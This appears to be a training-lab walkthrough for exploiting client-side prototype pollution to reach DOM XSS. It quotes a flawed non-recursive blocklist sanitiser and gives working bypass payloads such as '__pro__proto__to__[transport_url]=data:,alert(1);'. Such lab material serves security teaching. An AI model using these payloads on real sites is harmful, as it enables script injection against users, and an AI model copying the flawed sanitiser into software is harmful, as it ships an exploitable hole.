Client-side prototype pollution via flawed sanitisation

Description

This lab is vulnerable to DOM XSS via client-side prototype pollution. Although the developers have implemented measures to prevent prototype pollution, these can be easily bypassed.

Reproduction and proof of concept

Find a prototype pollution source

  1. In your browser, try polluting the Object.prototype by injecting an arbitrary property via the query string:

/?__proto__.foo=bar
  1. Open the browser DevTools panel and go to the Console tab.

  2. Enter Object.prototype.

  3. Study the properties of the returned object and observe that the injected foo property has not been added.

  4. Try alternative prototype pollution vectors. For example:

/?__proto__[foo]=bar
/?constructor.prototype.foo=bar
  1. Observe in each instance the Object.prototype is not modified.

  2. Go to the Sources tab and study the JavaScript files that are loaded by the target site.

var deparam = function( params, coerce ) {
    var obj = {},
        coerce_types = { 'true': !0, 'false': !1, 'null': null };

    if (!params) {
        return obj;
    }

    params.replace(/\+/g, ' ').split('&').forEach(function(v){
        var param = v.split( '=' ),
            key = decodeURIComponent( param[0] ),
            val,
            cur = obj,
            i = 0,

            keys = key.split( '][' ),
            keys_last = keys.length - 1;

        if ( /\[/.test( keys[0] ) && /\]$/.test( keys[ keys_last ] ) ) {
            keys[ keys_last ] = keys[ keys_last ].replace( /\]$/, '' );

            keys = keys.shift().split('[').concat( keys );

            keys_last = keys.length - 1;
        } else {
            keys_last = 0;
        }

        if ( param.length === 2 ) {
            val = decodeURIComponent( param[1] );

            if ( coerce ) {
                val = val && !isNaN(val) && ((+val + '') === val) ? +val        // number
                    : val === 'undefined'                       ? undefined         // undefined
                        : coerce_types[val] !== undefined           ? coerce_types[val] // true, false, null
                            : val;                                                          // string
            }

            if ( keys_last ) {
                for ( ; i <= keys_last; i++ ) {
                    key = keys[i] === '' ? cur.length : keys[i];
                    cur = cur[sanitizeKey(key)] = i < keys_last
                        ? cur[sanitizeKey(key)] || ( keys[i+1] && isNaN( keys[i+1] ) ? {} : [] )
                        : val;
                }

            } else {
                if ( Object.prototype.toString.call( obj[key] ) === '[object Array]' ) {
                    obj[sanitizeKey(key)].push( val );

                } else if ( {}.hasOwnProperty.call(obj, key) ) {
                    obj[sanitizeKey(key)] = [ obj[key], val ];

                } else {
                    obj[sanitizeKey(key)] = val;
                }
            }

        } else if ( key ) {
            obj[key] = coerce
                ? undefined
                : '';
        }
    });

    return obj;
};
function sanitizeKey(key) {
    let badProperties = ['constructor','__proto__','prototype'];
    for(let badProperty of badProperties) {
        key = key.replaceAll(badProperty, '');
    }
    return key;
}

deparamSanitized.js uses the sanitizeKey() function defined in searchLoggerFiltered.js to strip potentially dangerous property keys based on a blocklist. However, it does not apply this filter recursively.

  1. Back in the URL, try injecting one of the blocked keys in such a way that the dangerous key remains following the sanitisation process. For example:

/?__pro__proto__to__[foo]=bar
/?__pro__proto__to__.foo=bar
/?constconstructorructor.[protoprototypetype][foo]=bar
/?constconstructorructor.protoprototypetype.foo=bar
  1. In the console, enter Object.prototype again. Notice that it now has its own foo property with the value bar. You’ve successfully found a prototype pollution source and bypassed the website’s key sanitisation.

Identify a gadget

  1. Study the JavaScript files again:

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString())};
    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }
    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

searchLogger.js dynamically appends a script to the DOM using the config object’s transport_url property if present.

  1. Notice that no transport_url property is set for the config object. This is a potential gadget.

Craft an exploit

  1. Using the prototype pollution source you identified earlier, try injecting an arbitrary transport_url property:

/?__pro__proto__to__[transport_url]=foo
  1. In the browser DevTools panel, go to the Elements tab and study the HTML content of the page.

<script src="foo"></script>

A script element has been rendered on the page, with the src attribute foo.

  1. Modify the payload in the URL to inject an XSS proof-of-concept. For example, you can use a data: URL:

/?__pro__proto__to__[transport_url]=data:,alert(1);
  1. Observe that the alert(1) is called and the lab is solved.

Prototype pollution

Exploitability

An attacker will need to find a source that you can use to add arbitrary properties to the global Object.prototype; identify a gadget property that allows you to execute arbitrary JavaScript; and combine these to call alert().